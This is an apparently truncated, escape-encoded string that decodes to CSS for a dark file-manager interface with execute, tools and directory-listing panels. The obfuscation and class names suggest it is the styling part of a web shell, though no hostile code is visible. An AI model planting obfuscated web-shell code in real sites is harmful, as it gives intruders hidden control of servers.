66\x3b\142\x6f\162\x64\145\162\55\162\x61\144\151\x75\163\x3a\x32\x70\x78\73\x2d\167\145\x62\153\x69\164\55\x61\x70\160\x65\x61\162\141\156\143\145\72\x6e\157\156\145\175\x2e\x62\x74\x6e\x2d\x65\170\145\173\x62\141\x63\x6b\147\x72\x6f\165\156\x64\x3a\x23\x31\104\x39\x44\67\x33\73\143\x6f\x6c\157\162\x3a\43\146\x66\x66\x3b\x66\157\x6e\164\x2d\x66\x61\x6d\151\154\x79\72\x22\120\154\141\x79\42\73\x70\x61\x64\144\x69\156\x67\72\71\x70\x78\x3b\142\x6f\x72\144\x65\162\x3a\61\x70\x78\x20\163\157\x6c\151\x64\x20\43\61\x44\x39\x44\67\63\x3b\x77\x69\x64\x74\x68\x3a\61\60\x30\x25\73\142\x6f\162\144\x65\162\55\x72\141\x64\x69\165\163\x3a\x32\x70\x78\73\x66\157\x6e\x74\x2d\163\x69\x7a\145\72\x31\64\x70\x78\x3b\x2d\167\x65\x62\153\151\164\55\x74\162\x61\156\163\x69\x74\x69\157\156\72\141\154\154\40\60\56\63\163\x3b\x2d\155\x6f\x7a\55\164\x72\141\x6e\163\151\164\151\x6f\156\x3a\141\154\154\40\60\56\63\163\73\164\x72\141\x6e\163\x69\164\x69\157\x6e\72\x61\x6c\154\x20\60\56\63\x73\x7d\x2e\x62\164\x6e\x2d\145\x78\x65\x3a\x68\157\x76\x65\162\173\142\x61\143\x6b\x67\x72\x6f\x75\156\x64\x3a\156\157\156\x65\73\142\x6f\162\144\x65\162\x3a\61\160\x78\40\x73\x6f\154\x69\x64\40\x23\61\104\71\x44\67\x33\x3b\x63\157\154\157\162\x3a\43\61\104\x39\x44\67\x33\175\x2e\x6c\141\x77\x62\173\160\157\163\x69\x74\151\x6f\156\72\162\145\154\x61\x74\x69\x76\x65\73\x62\x6f\x74\164\157\155\72\63\160\x78\x3b\x62\141\143\x6b\147\x72\x6f\x75\x6e\144\x3a\x23\61\104\x39\104\x37\63\73\x63\157\154\x6f\162\72\43\x66\146\146\73\146\x6f\156\164\x2d\x66\141\155\x69\154\x79\72\x22\120\x6c\141\171\x22\x3b\160\x61\x64\x64\151\156\147\72\x33\x70\x78\x20\67\160\170\x3b\142\x6f\x72\144\145\x72\72\61\x70\x78\x20\x73\157\154\151\144\x20\43\x31\104\x39\x44\67\x33\x3b\x77\151\144\x74\x68\72\x31\60\x30\45\73\142\x6f\162\144\x65\x72\55\162\x61\144\x69\165\163\72\x32\160\170\x3b\146\x6f\x6e\x74\x2d\x73\x69\172\145\72\61\x33\160\170\x3b\55\167\145\142\153\151\164\x2d\x74\x72\141\156\163\x69\164\151\x6f\156\x3a\x61\x6c\x6c\40\60\56\x33\x73\73\55\155\x6f\172\55\x74\162\x61\x6e\x73\151\164\x69\x6f\x6e\72\141\154\x6c\40\60\56\63\163\73\164\x72\141\156\x73\151\164\151\x6f\x6e\72\141\x6c\154\x20\x30\56\63\x73\x7d\x2e\x74\165\160\173\146\157\x6e\164\55\x73\151\172\145\x3a\61\x34\160\x78\175\x2e\141\x6c\x65\x72\x74\173\146\x6f\x6e\x74\x2d\146\x61\x6d\151\154\x79\72\x22\x50\x6c\141\171\x22\73\x63\x6f\x6c\157\162\x3a\43\x66\x66\146\175\56\143\157\114\173\x77\151\x64\164\x68\x3a\x34\x36\x39\160\170\73\x62\157\x72\144\145\x72\x3a\x30\40\x73\157\154\x69\144\40\43\x64\x64\144\x3b\142\141\143\153\x67\162\157\x75\156\x64\72\43\x32\x32\62\x3b\160\141\x64\144\151\x6e\147\72\63\160\170\73\146\x6c\157\x61\164\x3a\x6c\145\x66\x74\x3b\155\141\x72\147\151\156\55\154\145\x66\164\x3a\62\160\170\x3b\155\141\x72\147\151\x6e\x2d\162\151\x67\x68\x74\72\x32\160\x78\x3b\x6d\141\162\x67\151\156\x2d\142\157\x74\x74\x6f\x6d\72\62\160\170\73\155\141\x72\x67\151\x6e\55\x74\157\160\72\63\160\170\73\x63\157\x6c\157\162\72\43\x32\62\62\x7d\56\164\x6f\x6f\154\163\x2d\x63\157\x6e\164\x65\x6e\164\x7b\160\x61\x64\144\151\x6e\x67\72\63\x70\x78\x3b\x6d\141\162\147\x69\x6e\72\x31\x70\170\x20\x32\160\x78\40\x30\40\62\160\x78\73\142\x61\143\x6b\147\162\157\x75\156\x64\72\156\x6f\156\145\x3b\x62\x6f\x72\x64\145\x72\x2d\x72\141\144\x69\165\x73\x3a\x32\160\170\73\142\157\x72\144\145\x72\x3a\x31\160\170\40\x73\x6f\154\x69\x64\x20\x23\x33\x34\63\64\x33\66\175\x2e\x74\x64\55\164\x6f\x6f\154\163\55\154\145\x66\x74\173\160\x61\144\x64\x69\x6e\x67\x3a\x35\x70\x78\x3b\x77\151\144\x74\150\72\x33\x30\160\170\73\164\x65\x78\x74\x2d\x61\x6c\x69\147\156\x3a\143\145\x6e\164\145\x72\175\56\x74\144\x2d\x74\157\x6f\154\163\x2d\x69\x63\157\156\x7b\x77\151\144\x74\x68\72\x35\x30\x70\170\x3b\x62\141\143\x6b\x67\x72\x6f\x75\156\x64\72\156\157\156\145\x3b\x74\145\x78\x74\55\141\154\151\147\156\72\143\145\156\164\x65\x72\175\56\x74\x64\55\x74\157\x6f\x6c\x73\x2d\x63\157\156\x74\x65\156\x74\x7b\x70\x61\144\144\151\x6e\147\x2d\154\145\x66\x74\x3a\x35\x70\x78\x3b\146\x6f\x6e\x74\x2d\x73\151\172\145\72\x31\x34\x70\x78\175\x2e\154\x61\x62\x65\154\x2d\x64\141\x6e\x67\x65\162\173\143\157\x6c\157\x72\72\x72\x65\144\175\x2e\x6c\141\x62\145\154\x2d\163\x75\x63\143\145\163\x73\x7b\x63\x6f\x6c\x6f\x72\x3a\43\x31\x44\x39\x44\x37\63\175\x2e\143\157\122\173\x77\x69\144\164\150\72\63\x34\63\160\x78\73\x62\x6f\x72\144\x65\x72\72\60\x3b\x62\x61\143\x6b\147\162\157\165\x6e\144\72\43\62\62\x32\73\x6d\x61\162\147\x69\x6e\x2d\x6c\145\146\164\72\x32\160\170\73\155\141\162\147\x69\156\55\162\151\x67\150\164\72\62\x70\x78\73\x6d\141\162\x67\151\156\x2d\142\x6f\164\164\157\155\x3a\62\160\170\73\155\141\162\147\x69\x6e\x2d\164\157\x70\72\x33\x70\x78\x3b\160\x61\144\144\151\156\x67\x3a\x33\x70\170\x3b\x66\154\157\x61\x74\x3a\154\145\x66\x74\x7d\x74\141\142\154\145\173\167\x69\x64\x74\x68\x3a\x31\x30\60\45\175\150\162\173\142\157\162\144\145\x72\x3a\x30\x3b\x68\145\151\147\x68\x74\72\61\x70\x78\73\142\141\143\x6b\x67\x72\157\x75\x6e\144\55\x69\x6d\141\147\145\x3a\55\x77\x65\142\x6b\x69\164\55\x6c\151\156\145\x61\x72\55\147\x72\141\144\151\x65\x6e\164\x28\154\x65\x66\x74\54\43\63\64\x33\x34\63\x36\x2c\x23\63\64\63\64\63\66\54\43\x33\x34\x33\x34\63\x36\51\x3b\142\x61\143\153\147\x72\157\x75\156\x64\x2d\151\x6d\x61\147\145\72\x2d\x6d\157\x7a\55\154\151\156\x65\141\x72\x2d\147\162\141\x64\x69\x65\156\x74\50\x6c\145\146\164\54\43\63\64\x33\64\63\66\x2c\x23\x33\64\63\64\63\66\x2c\x23\63\64\x33\x34\63\66\x29\73\142\141\x63\x6b\147\162\157\x75\156\x64\x2d\151\x6d\141\x67\x65\72\55\155\163\x2d\154\x69\x6e\x65\x61\x72\x2d\147\x72\141\x64\x69\x65\156\x74\50\154\x65\x66\x74\54\43\x33\x34\63\64\x33\x36\x2c\x23\x33\64\x33\x34\x33\x36\54\43\x33\x34\63\64\63\66\x29\73\142\141\143\x6b\147\x72\x6f\x75\156\144\55\x69\155\141\x67\x65\72\55\157\x2d\x6c\x69\x6e\145\x61\x72\55\147\162\x61\144\151\145\156\x74\50\154\x65\146\164\54\x23\x33\x34\63\x34\x33\x36\x2c\x23\63\64\x33\x34\63\x36\x2c\x23\63\64\63\64\63\x36\x29\175\150\62\173\x66\x6f\x6e\164\x2d\163\x69\x7a\145\x3a\61\71\x70\x78\73\146\157\x6e\x74\x2d\167\x65\151\x67\x68\x74\x3a\64\x30\x30\175\56\164\150\55\156\141\x76\173\167\x69\144\164\150\72\x38\x35\x70\170\x7d\56\143\x6f\x2d\157\x6e\164\141\151\156\145\x72\x2d\x32\x7b\x6d\x61\170\x2d\167\x69\144\x74\x68\72\x38\62\60\160\x78\73\155\x61\x72\x67\151\x6e\72\x61\165\164\x6f\x3b\x6f\x76\145\x72\x66\154\x6f\167\x3a\x68\151\144\144\145\156\73\x62\141\x63\153\147\162\157\165\156\144\72\43\62\62\62\x3b\142\157\170\x2d\x73\x68\141\144\x6f\x77\72\60\x20\x31\160\170\x20\65\160\x78\40\x72\x67\x62\x61\x28\62\x37\54\63\x31\x2c\63\x35\x2c\x2e\61\x35\x29\41\x69\155\x70\157\162\164\x61\156\164\175\x2e\143\x6f\x2d\x6f\x6e\164\x61\151\x6e\145\x72\x2d\63\173\155\141\x78\55\167\151\x64\x74\x68\x3a\70\62\60\x70\170\x3b\x6d\141\162\x67\x69\x6e\72\141\x75\164\157\73\x6f\166\145\x72\146\154\157\x77\72\x68\x69\144\144\145\156\73\x62\141\143\x6b\147\162\157\165\x6e\144\72\156\157\156\x65\175\56\143\157\114\55\x70\141\156\145\x6c\173\x70\x61\x64\x64\x69\156\147\72\x31\160\170\x3b\x62\x6f\x72\x64\x65\x72\x3a\x31\160\170\40\x73\157\x6c\151\x64\x20\43\63\x34\x33\x34\63\x36\x3b\x62\157\162\144\145\x72\x2d\x62\157\x74\164\x6f\x6d\72\60\73\143\157\154\157\162\x3a\43\146\146\x66\x3b\x62\x6f\162\144\145\x72\x2d\x72\x61\144\x69\165\163\x3a\62\160\170\73\155\141\x72\x67\151\x6e\72\x32\x70\170\x3b\x6d\x61\x72\147\x69\x6e\55\x62\x6f\x74\164\157\155\x3a\x30\73\142\141\x63\x6b\x67\x72\157\165\156\144\72\x6e\157\156\x65\175\56\143\x6f\x52\55\x70\x61\x6e\x65\154\x7b\160\141\x64\144\151\x6e\x67\x3a\61\x70\x78\x3b\x62\157\x72\x64\x65\x72\x3a\61\160\x78\40\x73\157\154\x69\x64\40\43\63\64\63\64\63\66\73\x62\x6f\162\144\x65\162\x2d\142\157\164\x74\x6f\x6d\x3a\60\x3b\x63\x6f\x6c\x6f\x72\72\x23\x66\x66\x66\x3b\x6d\x61\x72\x67\x69\x6e\72\62\x70\x78\73\142\x6f\162\144\145\162\x2d\162\141\144\x69\x75\163\72\x32\160\x78\x3b\x62\x61\143\x6b\147\162\x6f\x75\x6e\x64\72\156\x6f\x6e\145\175\56\155\141\x69\156\x2d\143\x6f\x6e\x74\145\156\x74\173\x70\141\x64\x64\151\x6e\x67\72\x35\x70\170\x3b\155\141\x72\x67\x69\x6e\55\164\x6f\160\x3a\x35\x70\x78\x3b\142\x61\143\x6b\147\x72\157\x75\156\144\72\156\157\x6e\x65\x3b\x62\x6f\x72\x64\145\x72\72\60\40\163\157\x6c\151\x64\x20\x23\144\144\144\x3b\146\x6f\x6e\x74\x2d\x73\151\172\x65\72\x31\x36\x70\x78\175\x2e\145\170\x2d\150\157\x76\x3a\x68\157\166\145\x72\173\x62\x61\x63\153\147\x72\157\x75\156\x64\72\x72\147\x62\x61\50\65\x32\x2c\65\x32\x2c\x36\x33\54\x2e\62\51\73\55\167\x65\142\153\x69\x74\55\x74\x72\x61\156\x73\x69\x74\151\x6f\x6e\x3a\x61\154\x6c\40\60\x2e\63\163\x3b\55\155\x6f\172\55\164\162\141\x6e\x73\x69\x74\x69\x6f\156\72\x61\154\154\x20\x30\x2e\63\163\73\164\x72\x61\x6e\x73\151\x74\151\157\156\72\141\x6c\154\40\60\x2e\x33\163\x7d\56\x64\151\162\x7b\142\141\143\153\x67\162\x6f\x75\x6e\144\x3a\x23\x33\64\63\x34\63\x36\x3b\x70\141\144\144\151\x6e\x67\72\62\160\170\x3b\155\141\x72\x67\151\x6e\x2d\x6c\x65\x66\164\x3a\x32\x70\x78\x3b\155\141\162\x67\151\x6e\x2d\162\151\x67\150\164\x3a\x32\160\x78\73\x6d\141\162\147\151\156\55\164\x6f\x70\72\63\160\x78\73\x6d\x61\x72\x67\151\x6e\x2d\142\x6f\164\164\x6f\155\72\61\160\170\x3b\x66\157\156\x74\x2d\163\151\172\x65\x3a\61\65\x70\170\175\56\x64\x69\x72\55\160\x61\154\x6c\x65\164\x7b\142\141\143\x6b\x67\x72\157\x75\156\x64\x3a\162\x67\x62\x61\x28\x32\x35\65\54\62\x35\65\54\62\65\65\54\56\x31\x29\x3b\160\x61\144\144\151\x6e\147\x3a\x36\160\x78\73\164\145\170\x74\x2d\x61\154\151\147\x6e\x3a\154\145\x66\164\x7d\x2e\x64\151\162\x2d\x74\144\55\x6c\145\x66\164\173\x77\x69\144\x74\150\x3a\65\60\160\x78\73\142\157\x72\144\x65\162\55\x72\x69\x67\150\164\x3a\x31\x70\x78\40\x73\x6f\x6c\x69\x64\x20\x23\x31\104\x39\x44\x37\63\x3b\146\x6f\x6e\164\55\163\151\x7a\145\72\61\x34\160\170\x7d\x2e\144\x69\162\55\x74\144\x2d\x72\151\147\x68\x74\173\x70\x61\x64\x64\x69\x6e\147\55\x6c\145\x66\164\x3a\x35\x70\170\73\146\x6f\x6e\164\x2d\163\151\x7a\x65\x3a\x31\65\x70\170\175\x40\x6d\x65\x64\151\141\40\163\x63\x72\x65\x65\156\40\141\x6e\144\x20\x28\155\x61\x78\x2d\167\x69\x64\x74\150\x3a\62\60\62\x34\x70\170\51\173\163\145\x6c\145\143\x74\x7b\160\141\144\x64\151\x6e\x67\72\x38\160\x78\x7d\43\x77\x68\x7b\144\151\163\x70\x6c\x61\x79\x3a\144\151\x73\160\x6c\141\x79\175\x2e\x63\157\x2d\x6f\156\x74\x61\151\156\x65\162\55\x32\173\x77\x69\144\164\150\x3a\x31\x30\60\x25\x3b\142\157\x72\144\x65\162\55\x72\141\x64\x69\165\163\x3a\x30\x7d\56\x63\x6f\114\173\167\151\x64\x74\150\72\64\66\x37\x70\170\x3b\142\141\143\153\147\162\x6f\165\156\144\x3a\x6e\x6f\156\145\72\x6d\141\x72\147\151\x6e\55\x62\157\164\x74\157\155\72\63\160\x78\73\142\157\162\x64\145\162\72\x6e\157\156\x65\x7d\56\x63\x6f\122\173\x77\x69\x64\x74\x68\x3a\64\x32\45\73\x66\x6c\x6f\x61\164\72\162\151\147\x68\164\x3b\142\x6f\162\144\x65\162\72\156\157\156\145\x7d\175\x40\155\145\x64\x69\141\40\x73\x63\x72\x65\145\156\x20\141\156\144\x20\50\155\x61\x78\x2d\x77\x69\144\164\x68\x3a\61\x30\62\64\160\x78\x29\x7b\163\x65\x6c\x65\x63\x74\x7b\x70\141\144\x64\151\x6e\147\72\x38\x70\170\x7d\43\x77\x68\x7b\x64\x69\163\x70\x6c\141\x79\72\144\x69\x73\160\154\x61\x79\x7d\56\x63\157\x2d\x6f\x6e\164\x61\151\x6e\x65\162\55\x32\173\x77\x69\144\x74\x68\72\61\60\60\x25\73\x62\157\x72\144\145\x72\55\x72\x61\x64\x69\x75\x73\x3a\x30\175\x2e\x63\157\114\173\x77\151\144\x74\150\72\x34\x36\x37\160\x78\73\142\141\143\153\x67\x72\157\165\x6e\x64\x3a\x6e\157\x6e\x65\x3a\155\x61\162\x67\x69\x6e\x2d\142\x6f\x74\x74\157\155\72\x33\x70\170\73\142\157\x72\x64\145\x72\x3a\156\157\156\145\x7d\56\x63\157\x52\173\x77\151\144\164\x68\72\64\62\45\x3b\146\x6c\157\x61\164\x3a\162\151\147\150\x74\73\x62\x6f\162\x64\x65\x72\x3a\156\157\x6e\x65\175\175\100\x6d\145\144\x69\141\40\163\x63\x72\145\145\x6e\x20\x61\x6e\144\40\x28\x6d\x61\170\55\167\x69\144\164\x68\x3a\x37\x38\x30\160\170\51\x7b\x73\145\x6c\145\x63\164\173\160\x61\144\x64\x69\x6e\147\x3a\71\x70\x78\175\x23\x77\150\x7b\x64\151\163\160\154\x61\171\x3a\156\157\x6e\x65\x7d\56\143\157\55\x6f\x6e\164\x61\151\x6e\x65\x72\x2d\62\x7b\142\141\x63\153\147\162\x6f\165\x6e\144\x3a\43\62\x32\62\73\142\157\x72\144\x65\162\x2d\x72\x61\144\151\x75\x73\x3a\x30\x3b\x6d\x61\162\147\x69\x6e\55\164\x6f\x70\x3a\60\x7d\56\x63\157\114\173\160\x61\144\x64\x69\156\x67\x3a\x31\160\x78\73\x77\x69\x64\x74\150\x3a\141\x75\x74\157\x3b\146\x6c\157\141\x74\72\x6e\x6f\156\x65\175\56\143\157\122\x7b\x70\141\x64\x64\x69\x6e\147\72\61\160\x78\x3b\x77\151\x64\164\x68\x3a\x61\165\164\x6f\73\146\x6c\157\141\164\72\156\x6f\x6e\x65\x7d\175\56\x66\157\157\x74\x65\162\173\142\141\x63\153\147\162\157\165\156\144\72\43\63\x34\63\64\x33\x36\x3b\x63\157\x6c\x6f\162\x3a\43\x66\x66\x66\73\160\x61\x64\x64\x69\156\147\72\70\x70\x78\x3b\164\145\170\x74\x2d\x61\154\x69\x67\x6e\72\x63\145\156\164\145\162\73\x6d\x61\x72\x67\x69\x6e\72\141\165\x74\x6f\x3b\157\x76\x65\x72\x66\154\157\167\72\150\x69\144\144\x65\x6e\x3b\155\141\170\55\x77\151\144\164\x68\72\70\62\60\160\x78\73\x2d\167\145\x62\153\151\x74\x2d\x62\x6f\170\55\163\150\x61\x64\x6f\x77\x3a\60\40\x31\x70\170\40\64\x70\170\40\x30\40\x72\147\142\141\x28\60\x2c\60\54\60\x2c\56\x31\64\51\73\55\155\x6f\172\55\x62\157\x78\x2d\x73\150\141\x64\x6f\167\x3a\60\40\x31\x70\x78\40\x34\x70\170\x20\x30\40\162\x67\142\141\x28\60\x2c\60\54\x30\54\56\x31\64\x29\x3b\55\155\163\55\x62\x6f\170\55\x73\x68\141\144\157\x77\72\60\40\61\160\170\x20\x34\160\x78\x20\60\x20\162\x67\x62\141\x28\60\54\60\54\x30\54\56\x31\64\x29\73\55\x6f\55\142\157\170\55\163\150\141\x64\x6f\x77\x3a\60\40\x31\x70\170\x20\x34\x70\170\x20\60\x20\x72\147\142\x61\50\x30\x2c\60\x2c\60\54\x2e\61\x34\51\x3b\142\157\x78\55\163\x68\x61\144\157\167\72\60\40\x31\x70\x78\x20\x34\160\170\x20\x30\x20\x72\x67\142\x61\50\60\x2c\x30\54\60\54\56\61\64\x29\x7d\56\164\144\x2d\x70\141\x6e\x65\x6c\x7b\142\x6f\162\144\145\162\x2d\x72\151\x67\150\164\x3a\x31\x70\170\x20\x73\157\x6c\151\144\x20\43\x33\64\x33\x34\63\66\x3b\x70\141\144\x64\x69\x6e\147\72\65\x70\x78\73\x70\141\144\144\151\156\147\55\162\151\x67\x68\x74\x3a\x38\x70\x78\73\167\x69\x64\x74\x68\x3a\x34\x30\x70\170\73\x74\145\170\164\x2d\x61\x6c\x69\147\x6e\72\143\145\x6e\x74\145\x72\73\x63\157\154\157\x72\x3a\x23\146\146\146\175\x2e\164\144\55\160\141\156\x65\x6c\55\x72\x69\x67\150\x74\173\x70\x61\144\x64\x69\x6e\147\x2d\x6c\x65\x66\164\x3a\63\x70\170\x3b\146\157\x6e\x74\55\x73\x69\172\x65\72\61\64\x70\x78\x7d\x2e\141\x3a\150\x6f\x76\145\162\x7b\143\157\x6c\x6f\x72\x3a\43\x31\104\71\x44\x37\x33\x3b\55\167\x65\142\153\151\164\55\x74\162\141\x6e\x73\x69\164\x69\x6f\x6e\72\141\154\154\40\x30\56\63\x73\x3b\x2d\155\x6f\172\x2d\164\x72\141\156\163\x69\164\151\157\x6e\x3a\141\154\154\40\x30\x2e\x33\163\x3b\x74\x72\x61\x6e\163\x69\164\x69\157\x6e\x3a\141\x6c\x6c\x20\x30\x2e\x33\x73\175\56\143\x6f\114\x2d\x6f\x70\164\x69\x6f\x6e\x7b\160\141\x64\144\x69\x6e\147\72\65\x70\170\x3b\x62\157\x72\x64\145\x72\72\x31\x70\x78\40\163\157\x6c\151\144\x20\x23\63\x34\x33\64\63\x36\73\155\x61\x72\x67\151\156\x3a\62\160\170\x20\x32\160\170\40\60\40\x32\160\x78\73\x62\141\x63\153\x67\162\157\x75\156\x64\72\156\x6f\156\145\x3b\146\157\156\164\55\x73\151\x7a\145\x3a\x31\63\x70\170\x3b\142\157\x72\x64\x65\x72\55\x72\141\144\x69\x75\x73\x3a\62\x70\x78\x3b\x63\157\154\157\162\x3a\x23\x66\146\x66\175\x2e\143\x6f\x4c\x2d\x6f\160\x74\151\157\x6e\x20\164\144\173\146\x6f\156\x74\55\163\x69\x7a\x65\x3a\x31\64\160\170\x7d\x2e\x63\x6f\x4c\55\142\x74\x6e\x2d\157\x70\x74\x69\x6f\x6e\x2d\141\x63\x74\151\166\x65\x7b\160\141\144\x64\151\x6e\147\72\67\160\170\x3b\x62\x61\x63\153\147\x72\157\165\156\144\x3a\x6e\157\156\145\x3b\142\x6f\x72\144\145\162\72\x30\x20\x73\157\x6c\151\144\40\162\147\x62\141\x28\x32\65\x35\x2c\x32\65\x35\54\x32\65\65\54\56\61\x29\x3b\146\157\x6e\x74\x2d\163\x69\172\145\x3a\61\64\x70\170\73\x66\157\x6e\x74\x2d\146\x61\155\x69\x6c\171\x3a\x22\x50\x6c\x61\171\42\73\x77\x69\x64\164\x68\x3a\61\x30\x30\x25\x3b\143\157\154\157\x72\72\43\x66\146\x66\175\56\x63\157\x4c\x2d\142\164\156\55\157\160\164\151\157\156\173\160\141\x64\144\x69\x6e\147\x3a\67\x70\x78\73\142\141\x63\153\147\162\x6f\x75\156\x64\72\x23\63\x34\63\x34\x33\x36\x3b\142\157\162\144\145\x72\x3a\x31\x70\x78\x20\x73\x6f\154\x69\144\40\43\x33\64\x33\64\63\x36\x3b\x66\157\x6e\x74\x2d\163\x69\x7a\145\72\x31\64\160\170\73\x62\x6f\162\x64\x65\x72\x2d\x72\x61\144\x69\x75\163\x3a\62\160\170\x3b\x66\x6f\156\x74\x2d\146\x61\155\x69\154\x79\x3a\x22\x50\154\x61\x79\42\x3b\167\151\x64\x74\150\x3a\61\60\x30\x25\x3b\143\x6f\x6c\x6f\162\72\43\146\x66\146\73\55\167\x65\x62\x6b\151\164\55\x74\x72\141\x6e\163\x69\164\151\x6f\x6e\72\141\x6c\x6c\x20\x30\x2e\x33\163\x3b\55\x6d\x6f\x7a\55\164\x72\x61\156\x73\x69\x74\151\157\156\x3a\x61\x6c\x6c\40\60\56\x33\x73\x3b\x74\162\141\156\163\x69\x74\x69\x6f\156\72\141\x6c\154\40\60\56\x33\x73\175\56\x63\157\x4c\55\x62\x74\x6e\55\x6f\x70\164\151\x6f\x6e\x3a\150\157\x76\x65\x72\173\142\141\x63\x6b\147\162\x6f\165\156\x64\x3a\x6e\157\x6e\x65\x3b\167\x69\144\x74\x68\72\x31\60\x30\x25\73\x63\x6f\154\x6f\x72\x3a\x23\x66\146\146\73\142\157\x72\x64\x65\162\x3a\61\x70\x78\x20\163\x6f\154\x69\x64\x20\x23\x33\64\x33\64\x33\x36\175\x2e\x63\157\114\55\x6f\x70\x74\x69\x6f\156\x2d\x70\x61\x6e\145\x6c\173\160\141\144\x64\x69\156\x67\72\x35\x70\x78\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\156\x65\73\142\141\143\x6b\x67\x72\157\165\x6e\x64\72\43\x33\64\x33\64\63\66\x3b\x66\x6f\x6e\164\55\x73\x69\172\x65\72\x31\x34\x70\170\175\56\170\x61\x7b\142\x61\143\153\147\x72\157\165\x6e\144\x3a\x23\x31\104\x39\x44\x37\x33\x3b\x63\x6f\154\157\x72\72\x23\x66\146\146\73\x77\x69\144\x74\x68\72\63\60\160\170\73\x68\145\151\x67\150\164\x3a\x33\60\160\x78\73\160\141\x64\144\151\156\147\72\65\x70\170\73\x62\157\162\144\145\162\x3a\x6e\157\x6e\145\x3b\x2d\167\x65\142\x6b\x69\x74\55\164\x72\141\156\x73\x69\x74\x69\x6f\156\72\x61\154\x6c\x20\60\x2e\63\x73\x3b\x2d\x6d\157\x7a\x2d\x74\162\141\156\163\151\x74\x69\x6f\x6e\x3a\141\x6c\x6c\x20\x30\56\63\163\x3b\x74\x72\x61\156\x73\x69\164\x69\x6f\x6e\x3a\141\154\154\x20\x30\56\63\163\x3b\x62\157\x72\x64\145\x72\x2d\162\x61\x64\151\x75\x73\x3a\x31\x30\60\45\175\x2e\170\141\72\150\157\166\x65\162\x7b\142\x61\x63\x6b\147\162\157\165\x6e\144\72\x23\63\x34\63\x34\63\66\x3b\x63\x6f\154\157\162\x3a\x23\61\104\x39\x44\x37\x33\175\56\164\141\x62\x6c\145\55\x69\x6e\x66\x6f\173\x6d\141\162\x67\x69\x6e\x2d\164\157\x70\x3a\x33\x70\170\73\142\x6f\162\144\x65\x72\x2d\x63\x6f\154\x6c\141\160\163\145\x3a\143\x6f\154\154\141\160\x73\145\x3b\146\157\156\164\55\x66\x61\155\151\154\x79\72\x22\x50\154\x61\171\x22\x7d\56\164\x68\x2d\151\156\x66\157\x7b\x70\x61\144\144\x69\156\x67\x3a\x36\160\x78\73\142\157\162\x64\x65\x72\72\x31\x70\170\40\163\x6f\154\x69\x64\40\43\x33\64\x33\x34\63\66\73\x62\141\143\x6b\147\162\157\x75\x6e\x64\72\x23\63\x34\x33\x34\x33\x36\x3b\x62\157\162\144\x65\x72\x2d\143\x6f\154\x6c\x61\x70\163\145\x3a\143\157\154\154\141\x70\x73\145\x3b\x66\x6f\x6e\x74\x2d\146\141\x6d\x69\154\x79\x3a\42\x50\154\141\171\x22\x3b\x66\x6f\156\x74\55\x77\145\x69\x67\x68\164\72\64\x30\x30\73\143\x6f\154\x6f\162\72\43\146\x66\x66\73\146\x6f\156\x74\x2d\163\151\x7a\145\72\61\x34\160\170\175\56\x74\x64\x2d\x69\x6e\x66\x6f\173\160\x61\x64\144\151\x6e\147\72\x37\160\x78\73\x62\x6f\162\x64\x65\x72\x3a\x31\160\170\40\163\157\x6c\x69\x64\40\x23\x33\64\63\x34\x33\x36\73\x62\x61\143\153\x67\162\157\x75\156\144\72\x6e\157\156\145\73\146\157\156\x74\x2d\x66\x61\155\x69\x6c\171\x3a\42\x50\x6c\141\x79\x22\x3b\x66\x6f\156\x74\x2d\x73\151\172\145\72\61\x34\160\x78\175\x2e\164\x61\142\154\145\55\x66\151\154\145\173\x6d\141\x72\x67\x69\156\55\164\157\160\x3a\x33\160\x78\73\x66\x6f\156\x74\x2d\146\141\155\x69\x6c\171\x3a\42\x50\x6c\141\171\42\x3b\160\x61\144\x64\x69\156\147\55\x72\151\147\150\164\72\62\x70\x78\73\160\141\x64\144\x69\156\x67\x2d\x6c\x65\x66\x74\72\x32\160\170\175\56\x74\x61\142\154\x65\x2d\x66\x69\x6c\145\40\x74\162\x3a\x68\x6f\x76\145\162\173\142\141\143\153\147\x72\x6f\x75\156\144\x3a\162\x67\142\x61\50\x35\62\x2c\65\62\x2c\x36\x33\54\56\62\51\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x74\x72\x61\156\x73\151\164\151\x6f\x6e\72\141\154\154\x20\x30\56\63\163\73\55\155\x6f\172\55\x74\x72\141\156\x73\151\x74\151\157\x6e\72\141\154\154\x20\x30\x2e\63\163\x3b\x74\162\141\156\163\151\164\151\x6f\156\72\x61\x6c\x6c\x20\x30\56\63\x73\175\56\x74\x68\x2d\x66\x69\x6c\145\173\x70\141\x64\x64\151\156\x67\72\66\x70\x78\73\x62\x6f\x72\x64\x65\x72\x3a\x31\x70\x78\x20\163\157\154\x69\144\40\x23\x33\64\x33\64\x33\66\73\x62\x61\x63\x6b\147\x72\157\165\156\144\x3a\43\63\64\x33\x34\63\x36\73\x66\157\156\164\55\x66\141\x6d\x69\x6c\x79\72\x22\120\154\x61\x79\42\x3b\146\157\156\x74\55\x77\x65\151\147\150\164\72\64\x30\x30\73\x66\157\x6e\x74\x2d\163\151\x7a\x65\72\61\64\x70\170\x3b\x63\x6f\154\x6f\162\x3a\x23\x66\x66\146\x7d\56\x74\144\55\146\x69\x6c\145\x7b\146\157\156\164\x2d\x73\x69\x7a\x65\72\x31\64\56\63\x70\170\x3b\160\x61\144\144\x69\x6e\147\72\64\160\x78\x3b\142\x6f\x72\x64\x65\162\x3a\x30\73\x62\157\162\144\145\162\x2d\x62\x6f\x74\x74\157\x6d\x3a\x31\x70\x78\40\144\141\x73\x68\x65\144\40\43\x33\x34\63\x34\x33\66\x3b\x62\141\x63\x6b\x67\x72\157\165\156\144\x3a\x6e\157\x6e\x65\73\146\157\156\x74\55\146\x61\155\151\x6c\x79\72\42\120\154\x61\x79\42\40\x63\x6f\x6c\157\162\x3a\x23\62\62\62\x7d\x2e\167\162\173\160\x61\x64\144\x69\156\147\x3a\x31\x30\160\170\40\65\160\x78\x20\61\60\160\170\x20\x35\160\x78\x7d\x2e\x6c\157\x61\x64\x65\162\173\x62\157\x72\144\x65\x72\x3a\x32\160\x78\40\163\157\154\151\x64\x20\x23\63\64\63\64\x33\x36\x3b\x62\x6f\162\x64\x65\162\x2d\162\141\x64\151\x75\x73\72\65\60\45\x3b\142\157\x72\x64\145\162\55\164\x6f\160\72\x32\160\170\40\x73\157\x6c\x69\x64\x20\x23\x31\x44\x39\x44\x37\x33\x3b\167\x69\x64\164\x68\x3a\62\60\160\170\x3b\x68\x65\151\147\150\164\72\x32\60\160\170\73\x2d\x77\145\142\153\151\164\55\x61\156\151\155\141\x74\151\x6f\x6e\x3a\163\x70\x69\x6e\40\66\x30\x30\155\x73\